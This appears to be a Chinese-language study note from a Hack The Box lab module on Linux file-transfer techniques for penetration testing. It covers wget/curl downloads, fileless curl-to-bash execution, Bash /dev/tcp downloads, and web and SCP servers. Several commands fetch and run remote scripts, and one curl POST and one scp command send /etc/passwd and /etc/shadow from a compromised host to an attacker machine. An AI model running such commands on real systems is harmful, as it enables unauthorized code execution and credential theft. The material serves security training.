Web Downloads with Wget and cURL
Linux发行版中与web应用程序交互的两个最常见的实用程序是wget和curl。这些工具安装在许多Linux发行版上。 要使用wget下载文件,我们需要指定URL和选项“-O”来设置输出文件名。
Download a File Using wget
Tanin@htb[/htb]$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
cURL与wget非常相似,但输出文件名选项是小写的“-o”。
Tanin@htb[/htb]$ curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Fileless Attacks Using Linux
由于Linux的工作方式和管道的操作方式,我们在Linux中使用的大多数工具都可以用于复制无文件操作,这意味着我们不必下载文件来执行它。
注意:一些有效负载(如mkfifo)会将文件写入磁盘。请记住,虽然使用管道时有效负载的执行可能是无文件的,但根据所选的有效负载,它可能会在操作系统上创建临时文件。
让我们使用我们使用的cURL命令,而不是下载LinEnum.sh,让我们使用管道直接执行它。
Tanin@htb[/htb]$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
类似地,我们可以从web服务器下载一个Python脚本文件,并将其管道传输到Python二进制文件中。让我们这样做,这次使用wget。
Fileless Download with wget
Tanin@htb[/htb]$ wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Hello World!
wget -qO- <URL>
:使用wget
命令下载指定 URL 的文件,并将其输出到标准输出(stdout)而不保存到文件。-q
参数表示静默模式,不显示下载进度信息,-O-
参数指定将文件内容输出到 stdout。|
:管道操作符,将前一个命令的输出作为后一个命令的输入。python3
:Python 3 解释器,用于执行从标准输入接收到的 Python 代码。
Download with Bash (/dev/tcp)
也可能存在没有任何已知的文件传输工具可用的情况。只要安装了Bash 2.04或更高版本(使用–enable net redirections编译),内置的/dev/TCP设备文件就可以用于简单的文件下载。
Tanin@htb[/htb]$ exec 3<>/dev/tcp/10.10.10.32/80
Connect to the Target Webserver
exec 3<>/dev/tcp/10.10.10.32/80
:exec
是 Bash 的一个内置命令,用于执行重定向或替换文件描述符等操作。在这里,它将文件描述符 3(可以是任何可用的未使用文件描述符)与指定的 IP 地址和端口号上的 TCP 连接相关联。/dev/tcp/10.10.10.32/80
:/dev/tcp/
是 Bash 的特殊设备文件路径之一,可以用于与 TCP 服务器建立连接。在这里,它表示与 IP 地址为10.10.10.32
,端口号为80
的服务器建立连接。
HTTP GET Request
Tanin@htb[/htb]$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
Print the Response
Tanin@htb[/htb]$ cat <&3
SSH Downloads
SSH(或Secure Shell)是一种允许安全访问远程计算机的协议。SSH实现附带了一个用于远程文件传输的SCP实用程序,默认情况下,该实用程序使用SSH协议。 SCP(安全复制)是一种命令行实用程序,允许您在两个主机之间安全地复制文件和目录。我们可以将文件从本地服务器复制到远程服务器,也可以从远程服务器复制到本地机器。 SCP与copy或cp非常相似,但我们需要指定用户名、远程IP地址或DNS名称以及用户的凭据,而不是提供本地路径。 在我们开始将文件从目标Linux机器下载到Pwnbox之前,让我们在Pwnbox中设置一个SSH服务器。
Enabling the SSH Server
Tanin@htb[/htb]$ sudo systemctl enable ssh
Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable ssh
Use of uninitialized value $service in hash element at /usr/sbin/update-rc.d line 26, <DATA> line 45
...SNIP...
Starting the SSH Server
Tanin@htb[/htb]$ sudo systemctl start ssh
Checking for SSH Listening Port
Tanin@htb[/htb]$ netstat -lnpt
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
现在我们可以开始传输文件了。我们需要指定我们Pwnbox的IP地址以及用户名和密码。
Linux - Downloading Files Using SCP
Tanin@htb[/htb]$ scp plaintext@192.168.49.128:/root/myroot.txt .
注意:您可以为文件传输创建临时用户帐户,并避免在远程计算机上使用主凭据或密钥。
Upload Operations
还有一些情况,如二进制利用和数据包捕获分析,我们必须将文件从目标机器上传到攻击主机上。我们用于下载的方法也适用于上传。让我们看看如何以各种方式上传文件。
Web Upload
正如在Windows文件传输方法部分中提到的,我们可以使用uploadserver,这是Python HTTP.Server模块的扩展模块,其中包括一个文件上传页面。对于这个Linux示例,让我们看看如何将uploadserver模块配置为使用HTTPS进行安全通信。 我们需要做的第一件事是安装uploadserver模块。
Pwnbox - Start Web Server
Tanin@htb[/htb]$ python3 -m pip install --user uploadserver
Collecting uploadserver
Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1
python3
:指定要使用的 Python 版本,这里是 Python 3。-m pip
:使用 Python 的pip
模块来执行包的安装操作。install
:告诉pip
安装一个包。--user
:将包安装到当前用户的本地目录,而不是系统级别的目录。这可以确保您的安装不会影响其他用户或需要管理员权限。uploadserver
:要安装的包的名称,这里是uploadserver
。
现在我们需要创建一个证书。在本例中,我们使用的是自签名证书。
Pwnbox - Create a Self-Signed Certificate
Tanin@htb[/htb]$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
Generating a RSA private key
................................................................................+++++
.......+++++
writing new private key to 'server.pem'
-----
req
: OpenSSL 的子命令,用于处理证书签发请求。-x509
: 生成自签名的 X.509 证书。-out server.pem
: 指定生成的证书的输出路径和文件名。-keyout server.pem
: 指定生成的私钥的输出路径和文件名。-newkey rsa:2048
: 创建一个新的 RSA 密钥对,密钥长度为 2048 位。-nodes
: 生成的私钥不加密(无密码)。-sha256
: 使用 SHA-256 哈希算法生成证书请求的摘要。-subj '/CN=server'
: 指定证书的主题(Subject),在这里是 Common Name (CN) 设置为 “server”。
Pwnbox - Start Web Server
Tanin@htb[/htb]$ python3 -m uploadserver 443 --server-certificate /root/server.pem
File upload available at /upload
Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...
现在,让我们从受损的机器上传/etc/passwd和/etc/shadow文件。
Tanin@htb[/htb]$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
我们使用了不安全的选项,因为我们使用了我们信任的自签名证书。
Alternative Web File Transfer Method
由于Linux发行版通常安装了Python或php,因此启动web服务器传输文件非常简单。此外,如果我们泄露的服务器是网络服务器,我们可以将要传输的文件移动到网络服务器目录,并从网页访问它们,这意味着我们正在从我们的Pwnbox下载文件。 可以使用各种语言来建立web服务器。受损的Linux计算机可能没有安装web服务器。在这种情况下,我们可以使用迷你网络服务器。它们可能缺乏安全性,但它们弥补了灵活性,因为webroot位置和侦听端口可以快速更改。
Linux - Creating a Web Server with Python3
Tanin@htb[/htb]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Linux - Creating a Web Server with Python2.7
Tanin@htb[/htb]$ python2.7 -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Linux - Creating a Web Server with PHP
Tanin@htb[/htb]$ php -S 0.0.0.0:8000
[Fri May 20 08:16:47 2022] PHP 7.4.28 Development Server (http://0.0.0.0:8000) started
Linux - Creating a Web Server with Ruby
Tanin@htb[/htb]$ ruby -run -ehttpd . -p8000
[2022-05-23 09:35:46] INFO WEBrick 1.6.1
[2022-05-23 09:35:46] INFO ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-05-23 09:35:46] INFO WEBrick::HTTPServer#start: pid=1705 port=8000
Download the File from the Target Machine onto the Pwnbox
Tanin@htb[/htb]$ wget 192.168.49.128:8000/filetotransfer.txt
SCP Upload
我们可能会发现一些公司允许SSH协议(TCP/22)用于出站连接,如果是这样的话,我们可以使用带有scp实用程序的SSH服务器来上传文件。让我们尝试使用SSH协议上传一个文件。
Tanin@htb[/htb]$ scp /etc/passwd plaintext@192.168.49.128:/home/plaintext/
plaintext@192.168.49.128's password:
passwd